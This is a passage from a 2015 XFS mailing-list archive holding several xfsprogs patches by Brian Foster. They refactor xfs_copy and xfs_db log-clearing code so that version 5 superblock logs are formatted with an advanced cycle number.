+++++++++++++++++++------------------ 4 files changed, 26 insertions(+), 22 deletions(-) diff --git a/db/metadump.c b/db/metadump.c index af96e12..129670e 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -2512,7 +2512,8 @@ copy_sb_inodes(void) static int copy_log(void) { - int dirty; + struct xlog log; + int dirty; if (show_progress) print_progress("Copying log"); @@ -2530,7 +2531,7 @@ copy_log(void) if (!obfuscate && !zero_stale_data) goto done; - dirty = xlog_is_dirty(mp, &x, 0); + dirty = xlog_is_dirty(mp, &log, &x, 0); switch (dirty) { case 0: diff --git a/db/sb.c b/db/sb.c index 560e653..9c585ca 100644 --- a/db/sb.c +++ b/db/sb.c @@ -229,6 +229,7 @@ int xlog_recover_do_trans(struct xlog *log, xlog_recover_t *t, int p) int sb_logcheck(void) { + struct xlog log; int dirty; if (mp->m_sb.sb_logstart) { @@ -247,7 +248,7 @@ sb_logcheck(void) libxfs_buftarg_init(mp, x.ddev, x.logdev, x.rtdev); - dirty = xlog_is_dirty(mp, &x, 0); + dirty = xlog_is_dirty(mp, &log, &x, 0); if (dirty == -1) { dbprintf(_("ERROR: cannot find log head/tail, run xfs_repair\n")); return 0; diff --git a/include/libxlog.h b/include/libxlog.h index 05b16e8..6c6e83a 100644 --- a/include/libxlog.h +++ b/include/libxlog.h @@ -84,7 +84,8 @@ extern int print_record_header; extern libxfs_init_t x; -extern int xlog_is_dirty(xfs_mount_t *mp, libxfs_init_t *x, int verbose); +extern int xlog_is_dirty(struct xfs_mount *, struct xlog *, libxfs_init_t *, + int); extern struct xfs_buf *xlog_get_bp(struct xlog *, int); extern void xlog_put_bp(struct xfs_buf *); extern int xlog_bread(struct xlog *log, xfs_daddr_t blk_no, int nbblks, diff --git a/libxlog/util.c b/libxlog/util.c index c6b8f2a..72b8b18 100644 --- a/libxlog/util.c +++ b/libxlog/util.c @@ -29,15 +29,15 @@ libxfs_init_t x; */ int xlog_is_dirty( - xfs_mount_t *mp, - libxfs_init_t *x, - int verbose) + struct xfs_mount *mp, + struct xlog *log, + libxfs_init_t *x, + int verbose) { - int error; - struct xlog log; - xfs_daddr_t head_blk, tail_blk; + int error; + xfs_daddr_t head_blk, tail_blk; - memset(&log, 0, sizeof(log)); + memset(log, 0, sizeof(*log)); /* We (re-)init members of libxfs_init_t here? really? */ x->logBBsize = XFS_FSB_TO_BB(mp, mp->m_sb.sb_logblocks); @@ -46,23 +46,24 @@ xlog_is_dirty( if (xfs_sb_version_hassector(&mp->m_sb)) x->lbsize <<= (mp->m_sb.sb_logsectlog - BBSHIFT); - log.l_dev = mp->m_logdev_targp; - log.l_logBBsize = x->logBBsize; - log.l_logBBstart = x->logBBstart; - log.l_sectBBsize = BTOBB(x->lbsize); - log.l_mp = mp; + log->l_dev = mp->m_logdev_targp; + log->l_logBBsize = x->logBBsize; + log->l_logBBstart = x->logBBstart; + log->l_sectBBsize = BTOBB(x->lbsize); + log->l_mp = mp; if (xfs_sb_version_hassector(&mp->m_sb)) { - log.l_sectbb_log = mp->m_sb.sb_logsectlog - BBSHIFT; - ASSERT(log.l_sectbb_log <= mp->m_sectbb_log); + log->l_sectbb_log = mp->m_sb.sb_logsectlog - BBSHIFT; + ASSERT(log->l_sectbb_log <= mp->m_sectbb_log); /* for larger sector sizes, must have v2 or external log */ - ASSERT(log.l_sectbb_log == 0 || - log.l_logBBstart == 0 || + ASSERT(log->l_sectbb_log == 0 || + log->l_logBBstart == 0 || xfs_sb_version_haslogv2(&mp->m_sb)); ASSERT(mp->m_sb.sb_logsectlog >= BBSHIFT); } - log.l_sectbb_mask = (1 << log.l_sectbb_log) - 1; + log->l_sectbb_mask = (1 << log->l_sectbb_log) - 1; - if ((error = xlog_find_tail(&log, &head_blk, &tail_blk))) { + error = xlog_find_tail(log, &head_blk, &tail_blk); + if (error) { xlog_warn(_("%s: cannot find log head/tail " "(xlog_find_tail=%d)\n"), __func__, error); -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:20:07 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9A4757F56 for ; Fri, 2 Oct 2015 13:20:02 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 976FA8F8035 for ; Fri, 2 Oct 2015 11:19:59 -0700 (PDT) X-ASG-Debug-ID: 1443809997-04cb6c6b051ab7f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id sPzdA325VK9X3hKC (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:58 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id E17EAB8BA9 for ; Fri, 2 Oct 2015 18:19:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJvnZ031593 for ; Fri, 2 Oct 2015 14:19:57 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 02B30120450; Fri, 2 Oct 2015 14:19:55 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 15/18] xfs_copy: genericize write helper to facilitate separate log buf Date: Fri, 2 Oct 2015 14:19:52 -0400 X-ASG-Orig-Subj: [PATCH v3 15/18] xfs_copy: genericize write helper to facilitate separate log buf Message-Id: <1443809995-20395-16-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809998 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 xfs_copy uses a fixed write buffer throughout the code for the various targets. This is a global buffer and is assumed to be the write source in the do_write() helper used by the log clearing code. v5 superblock log formatting will require a larger, independent buffer to format the log. Therefore, update do_write() to accept a write buffer parameter to optionally override the global write buffer. This patch does not change current behavior. Signed-off-by: Brian Foster --- copy/xfs_copy.c | 34 ++++++++++++++++++++-------------- 1 file changed, 20 insertions(+), 14 deletions(-) diff --git a/copy/xfs_copy.c b/copy/xfs_copy.c index f3e5288..0481ece 100644 --- a/copy/xfs_copy.c +++ b/copy/xfs_copy.c @@ -170,20 +170,26 @@ check_errors(void) * are taken care of when the buffer's read in */ int -do_write(thread_args *args) +do_write( + thread_args *args, + wbuf *buf) { - int res, error = 0; + int res; + int error = 0; - if (target[args->id].position != w_buf.position) { - if (lseek64(args->fd, w_buf.position, SEEK_SET) < 0) { + if (!buf) + buf = &w_buf; + + if (target[args->id].position != buf->position) { + if (lseek64(args->fd, buf->position, SEEK_SET) < 0) { error = target[args->id].err_type = 1; } else { - target[args->id].position = w_buf.position; + target[args->id].position = buf->position; } } - if ((res = write(target[args->id].fd, w_buf.data, - w_buf.length)) == w_buf.length) { + if ((res = write(target[args->id].fd, buf->data, + buf->length)) == buf->length) { target[args->id].position += res; } else { error = 2; @@ -191,7 +197,7 @@ do_write(thread_args *args) if (error) { target[args->id].error = errno; - target[args->id].position = w_buf.position; + target[args->id].position = buf->position; } return error; } @@ -203,7 +209,7 @@ begin_reader(void *arg) for (;;) { pthread_mutex_lock(&args->wait); - if (do_write(args)) + if (do_write(args, NULL)) goto handle_error; pthread_mutex_lock(&glob_masks.mutex); if (--glob_masks.num_working == 0) @@ -1168,7 +1174,7 @@ main(int argc, char **argv) memset(w_buf.data, 0, w_buf.length); while (w_buf.position < end_pos) { - do_write(tcarg); + do_write(tcarg, NULL); w_buf.position += w_buf.length; } tcarg++; @@ -1190,7 +1196,7 @@ main(int argc, char **argv) for (j = 0, tcarg = targ; j < num_targets; j++) { sb_update_uuid(sb, &ag_hdr, tcarg); - do_write(tcarg); + do_write(tcarg, NULL); tcarg++; } } @@ -1212,7 +1218,7 @@ next_log_chunk(char *p, int offset, void *private) if (buf->length < (int)(p - buf->data) + offset) { /* need to flush this one, then start afresh */ - do_write(buf->owner); + do_write(buf->owner, NULL); memset(buf->data, 0, buf->length); return buf->data; } @@ -1247,7 +1253,7 @@ write_log_header(int fd, wbuf *buf, xfs_mount_t *mp) xfs_sb_version_haslogv2(&mp->m_sb) ? 2 : 1, mp->m_sb.sb_logsunit, XLOG_FMT, NULLCOMMITLSN, NULLCOMMITLSN, next_log_chunk, buf); - do_write(buf->owner); + do_write(buf->owner, NULL); return roundup(logstart + offset, buf->length); } @@ -1272,7 +1278,7 @@ write_log_trailer(int fd, wbuf *buf, xfs_mount_t *mp) read_wbuf(fd, buf, mp); offset = (int)(logend - buf->position); memset(buf->data, 0, offset); - do_write(buf->owner); + do_write(buf->owner, NULL); } return buf->position; -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:20:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0404F7F56 for ; Fri, 2 Oct 2015 13:20:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D74458F8035 for ; Fri, 2 Oct 2015 11:20:21 -0700 (PDT) X-ASG-Debug-ID: 1443809997-04bdf046281bb0c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id JCuKdyTGaw5CBPBm (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:58 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id D55842FE853 for ; Fri, 2 Oct 2015 18:19:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJvEG023987 for ; Fri, 2 Oct 2015 14:19:57 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 2AA731205A2; Fri, 2 Oct 2015 14:19:56 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 18/18] xfs_copy: format v5 sb logs correctly Date: Fri, 2 Oct 2015 14:19:55 -0400 X-ASG-Orig-Subj: [PATCH v3 18/18] xfs_copy: format v5 sb logs correctly Message-Id: <1443809995-20395-19-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809998 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 xfs_copy formats the target filesystem log in non-duplicate copy mode to stamp the new fs UUID into the log. The current format mechanism resets the current LSN of the target filesystem to cycle 1, which is invalid for v5 superblocks. The current LSN of v5 superblocks must always move forward and remain ahead of metadata LSNs stored in filesystem metadata. Update the log format helper to detect and use an alternate format mechanism for v5 superblock logs. Allocate an independent log format buffer based on the size of the log and format the buffer with an incremented cycle count using the libxfs log format mechanism. Note that the new libxfs log format mechanism could be used for both v5 and older superblock formats. The new mechanism requires a new, full log sized buffer allocation as well as doing I/O to the entire log whereas the pre-v5 sb mechanism only writes to the log head and tail. This is due to how xfs_copy uses its own internal buffer data structure rather than libxfs buftarg structures. As such, keep the original mechanism around to avoid potential disruption for non-v5 users. The old mechanism can be removed at some point in the future when the new mechanism is shaken out and v5 filesystems tend to outnumber v4. Signed-off-by: Brian Foster --- copy/xfs_copy.c | 61 +++++++++++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 59 insertions(+), 2 deletions(-) diff --git a/copy/xfs_copy.c b/copy/xfs_copy.c index a5f25ad..1dc7c65 100644 --- a/copy/xfs_copy.c +++ b/copy/xfs_copy.c @@ -64,7 +64,7 @@ pthread_mutex_t mainwait; xfs_off_t write_log_trailer(int fd, wbuf *w, xfs_mount_t *mp); xfs_off_t write_log_header(int fd, wbuf *w, xfs_mount_t *mp); -static void format_logs(struct xfs_mount *); +static int format_logs(struct xfs_mount *); /* general purpose message reporting routine */ @@ -1293,15 +1293,72 @@ clear_log( } } +/* + * Format the log to a particular cycle number. This is required for version 5 + * superblock filesystems to provide metadata LSN validity guarantees. + */ static void +format_log( + struct xfs_mount *mp, + thread_args *tcarg, + wbuf *buf) +{ + int logstart; + int length; + int cycle = XLOG_INIT_CYCLE; + + buf->owner = tcarg; + buf->length = buf->size; + buf->position = XFS_FSB_TO_DADDR(mp, mp->m_sb.sb_logstart) << BBSHIFT; + + logstart = XFS_FSB_TO_BB(mp, mp->m_sb.sb_logstart); + length = XFS_FSB_TO_BB(mp, mp->m_sb.sb_logblocks); + + /* + * Bump the cycle number on v5 superblock filesystems to guarantee that + * all existing metadata LSNs are valid (behind the current LSN) on the + * target fs. + */ + if (xfs_sb_version_hascrc(&mp->m_sb)) + cycle = mp->m_log->l_curr_cycle + 1; + + /* + * Format the entire log into the memory buffer and write it out. If the + * write fails, mark the target inactive so the failure is reported. + */ + libxfs_log_clear(NULL, buf->data, logstart, length, &buf->owner->uuid, + xfs_sb_version_haslogv2(&mp->m_sb) ? 2 : 1, + mp->m_sb.sb_logsunit, XLOG_FMT, cycle); + if (do_write(buf->owner, buf)) + target[tcarg->id].state = INACTIVE; +} + +static int format_logs( struct xfs_mount *mp) { thread_args *tcarg; int i; + wbuf logbuf; + int logsize; + + if (xfs_sb_version_hascrc(&mp->m_sb)) { + logsize = XFS_FSB_TO_B(mp, mp->m_sb.sb_logblocks); + if (!wbuf_init(&logbuf, logsize, w_buf.data_align, + w_buf.min_io_size, w_buf.id)) + return -ENOMEM; + } for (i = 0, tcarg = targ; i < num_targets; i++) { - clear_log(mp, tcarg); + if (xfs_sb_version_hascrc(&mp->m_sb)) + format_log(mp, tcarg, &logbuf); + else + clear_log(mp, tcarg); tcarg++; } + + if (xfs_sb_version_hascrc(&mp->m_sb)) + free(logbuf.data); + + return 0; } -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:20:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1276D7F58 for ; Fri, 2 Oct 2015 13:20:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9B571AC02A for ; Fri, 2 Oct 2015 11:20:21 -0700 (PDT) X-ASG-Debug-ID: 1443809997-04bdf046221bb0b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ODGiCQoq6UWfnY4n (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:57 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id 8B5772FE848 for ; Fri, 2 Oct 2015 18:19:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJv1A023990 for ; Fri, 2 Oct 2015 14:19:57 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id D5912120574; Fri, 2 Oct 2015 14:19:55 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 12/18] xfs_db: do not reset current lsn from uuid command on v5 supers Date: Fri, 2 Oct 2015 14:19:49 -0400 X-ASG-Orig-Subj: [PATCH v3 12/18] xfs_db: do not reset current lsn from uuid command on v5 supers Message-Id: <1443809995-20395-13-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809997 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The xfs_db uuid command modifes the uuid of the filesystem. As part of this process, it is required to clear the log and format it with records that use the new uuid. It currently resets the log to cycle 1, which is not safe for v5 superblocks. Update the uuid log clearing implementation to bump the current cycle when the log is formatted on v5 superblock filesystems. This ensures that the current LSN remains ahead of metadata LSNs on the subsequent mount. Since the log is checked and cleared across a couple different functions, also add a new global xlog structure, associate it with the preexisting global mount structure and reference it to get and use the current log cycle. Signed-off-by: Brian Foster --- db/init.c | 25 ++++++++++++++----------- db/sb.c | 19 +++++++++++++++---- 2 files changed, 29 insertions(+), 15 deletions(-) diff --git a/db/init.c b/db/init.c index 9537a38..c0472c8 100644 --- a/db/init.c +++ b/db/init.c @@ -17,6 +17,7 @@ */ #include "libxfs.h" +#include "libxlog.h" #include #include "command.h" #include "init.h" @@ -28,17 +29,18 @@ #include "malloc.h" #include "type.h" -static char **cmdline; -static int ncmdline; -char *fsdevice; -int blkbb; -int exitcode; -int expert_mode; -int force; -xfs_mount_t xmount; -xfs_mount_t *mp; -libxfs_init_t x; -xfs_agnumber_t cur_agno = NULLAGNUMBER; +static char **cmdline; +static int ncmdline; +char *fsdevice; +int blkbb; +int exitcode; +int expert_mode; +int force; +struct xfs_mount xmount; +struct xfs_mount *mp; +struct xlog xlog; +libxfs_init_t x; +xfs_agnumber_t cur_agno = NULLAGNUMBER; static void usage(void) @@ -154,6 +156,7 @@ init( progname, fsdevice); exit(1); } + mp->m_log = &xlog; blkbb = 1 << mp->m_blkbb_log; /* diff --git a/db/sb.c b/db/sb.c index 9c585ca..30c622d 100644 --- a/db/sb.c +++ b/db/sb.c @@ -229,7 +229,6 @@ int xlog_recover_do_trans(struct xlog *log, xlog_recover_t *t, int p) int sb_logcheck(void) { - struct xlog log; int dirty; if (mp->m_sb.sb_logstart) { @@ -248,7 +247,7 @@ sb_logcheck(void) libxfs_buftarg_init(mp, x.ddev, x.logdev, x.rtdev); - dirty = xlog_is_dirty(mp, &log, &x, 0); + dirty = xlog_is_dirty(mp, mp->m_log, &x, 0); if (dirty == -1) { dbprintf(_("ERROR: cannot find log head/tail, run xfs_repair\n")); return 0; @@ -269,20 +268,32 @@ sb_logcheck(void) static int sb_logzero(uuid_t *uuidp) { + int cycle = XLOG_INIT_CYCLE; + int error; + if (!sb_logcheck()) return 0; + /* + * The log must always move forward on v5 superblocks. Bump it to the + * next cycle. + */ + if (xfs_sb_version_hascrc(&mp->m_sb)) + cycle = mp->m_log->l_curr_cycle + 1; + dbprintf(_("Clearing log and setting UUID\n")); - if (libxfs_log_clear(mp->m_logdev_targp, + error = libxfs_log_clear(mp->m_logdev_targp, XFS_FSB_TO_DADDR(mp, mp->m_sb.sb_logstart), (xfs_extlen_t)XFS_FSB_TO_BB(mp, mp->m_sb.sb_logblocks), uuidp, xfs_sb_version_haslogv2(&mp->m_sb) ? 2 : 1, - mp->m_sb.sb_logsunit, XLOG_FMT, XLOG_INIT_CYCLE)) { + mp->m_sb.sb_logsunit, XLOG_FMT, cycle); + if (error) { dbprintf(_("ERROR: cannot clear the log\n")); return 0; } + return 1; } -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:20:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3832E7F5D for ; Fri, 2 Oct 2015 13:20:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 08EFF304048 for ; Fri, 2 Oct 2015 11:20:22 -0700 (PDT) X-ASG-Debug-ID: 1443809997-04bdf046271bb0c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id BnwJPQMHXBbpgzZ1 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:58 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id D51BFA3810 for ; Fri, 2 Oct 2015 18:19:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJveE023986 for ; Fri, 2 Oct 2015 14:19:57 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 1C1241204DA; Fri, 2 Oct 2015 14:19:56 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 17/18] xfs_copy: refactor log format code into new helper Date: Fri, 2 Oct 2015 14:19:54 -0400 X-ASG-Orig-Subj: [PATCH v3 17/18] xfs_copy: refactor log format code into new helper Message-Id: <1443809995-20395-18-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809998 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The xfs_copy log format code is mostly open-coded into the main() function of the application. Support for v5 superblock log formatting will require an alternate mechanism than that utilized for v4 superblocks and older. As such, refactor the log formatting code into new helper functions. The top-level helper iterates the copy target devices and another helper implements the log format magic. This patch does not change existing behavior. Signed-off-by: Brian Foster --- copy/xfs_copy.c | 69 +++++++++++++++++++++++++++++++++++++-------------------- 1 file changed, 45 insertions(+), 24 deletions(-) diff --git a/copy/xfs_copy.c b/copy/xfs_copy.c index e03796a..a5f25ad 100644 --- a/copy/xfs_copy.c +++ b/copy/xfs_copy.c @@ -62,8 +62,9 @@ pthread_mutex_t mainwait; #define ACTIVE 1 #define INACTIVE 2 -xfs_off_t write_log_trailer(int fd, wbuf *w, xfs_mount_t *mp); -xfs_off_t write_log_header(int fd, wbuf *w, xfs_mount_t *mp); +xfs_off_t write_log_trailer(int fd, wbuf *w, xfs_mount_t *mp); +xfs_off_t write_log_header(int fd, wbuf *w, xfs_mount_t *mp); +static void format_logs(struct xfs_mount *); /* general purpose message reporting routine */ @@ -518,7 +519,7 @@ main(int argc, char **argv) int i, j; int howfar = 0; int open_flags; - xfs_off_t pos, end_pos; + xfs_off_t pos; size_t length; int c; __uint64_t size, sizeb; @@ -1160,29 +1161,11 @@ main(int argc, char **argv) } if (kids > 0) { - if (!duplicate) { - + if (!duplicate) /* write a clean log using the specified UUID */ - for (j = 0, tcarg = targ; j < num_targets; j++) { - w_buf.owner = tcarg; - w_buf.length = rounddown(w_buf.size, - w_buf.min_io_size); - pos = write_log_header( - source_fd, &w_buf, mp); - end_pos = write_log_trailer( - source_fd, &w_buf, mp); - w_buf.position = pos; - memset(w_buf.data, 0, w_buf.length); - - while (w_buf.position < end_pos) { - do_write(tcarg, NULL); - w_buf.position += w_buf.length; - } - tcarg++; - } - } else { + format_logs(mp); + else num_ags = 1; - } /* reread and rewrite superblocks (UUID and in-progress) */ /* [backwards, so inprogress bit only updated when done] */ @@ -1284,3 +1267,41 @@ write_log_trailer(int fd, wbuf *buf, xfs_mount_t *mp) return buf->position; } + +/* + * Clear a log by writing a record at the head, the tail and zeroing everything + * in between. + */ +static void +clear_log( + struct xfs_mount *mp, + thread_args *tcarg) +{ + xfs_off_t pos; + xfs_off_t end_pos; + + w_buf.owner = tcarg; + w_buf.length = rounddown(w_buf.size, w_buf.min_io_size); + pos = write_log_header(source_fd, &w_buf, mp); + end_pos = write_log_trailer(source_fd, &w_buf, mp); + w_buf.position = pos; + memset(w_buf.data, 0, w_buf.length); + + while (w_buf.position < end_pos) { + do_write(tcarg, NULL); + w_buf.position += w_buf.length; + } +} + +static void +format_logs( + struct xfs_mount *mp) +{ + thread_args *tcarg; + int i; + + for (i = 0, tcarg = targ; i < num_targets; i++) { + clear_log(mp, tcarg); + tcarg++; + } +} -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:20:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 47FD129E06 for ; Fri, 2 Oct 2015 13:20:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D5F4EAC026 for ; Fri, 2 Oct 2015 11:20:21 -0700 (PDT) X-ASG-Debug-ID: 1443809997-04bdf046271bb0b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id iQiCkVdCtsvzl2NH (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:57 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id 83AB62FE83A for ; Fri, 2 Oct 2015 18:19:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJvEE023987 for ; Fri, 2 Oct 2015 14:19:57 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 6D1951204AD; Fri, 2 Oct 2015 14:19:55 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 05/18] libxfs: add ability to clear log to arbitrary log cycle Date: Fri, 2 Oct 2015 14:19:42 -0400 X-ASG-Orig-Subj: [PATCH v3 05/18] libxfs: add ability to clear log to arbitrary log cycle Message-Id: <1443809995-20395-6-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809997 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The libxfs_log_clear() helper currently zeroes the log and writes a single log record such that the kernel code detects the log has been zeroed and mounts successfully. This is not 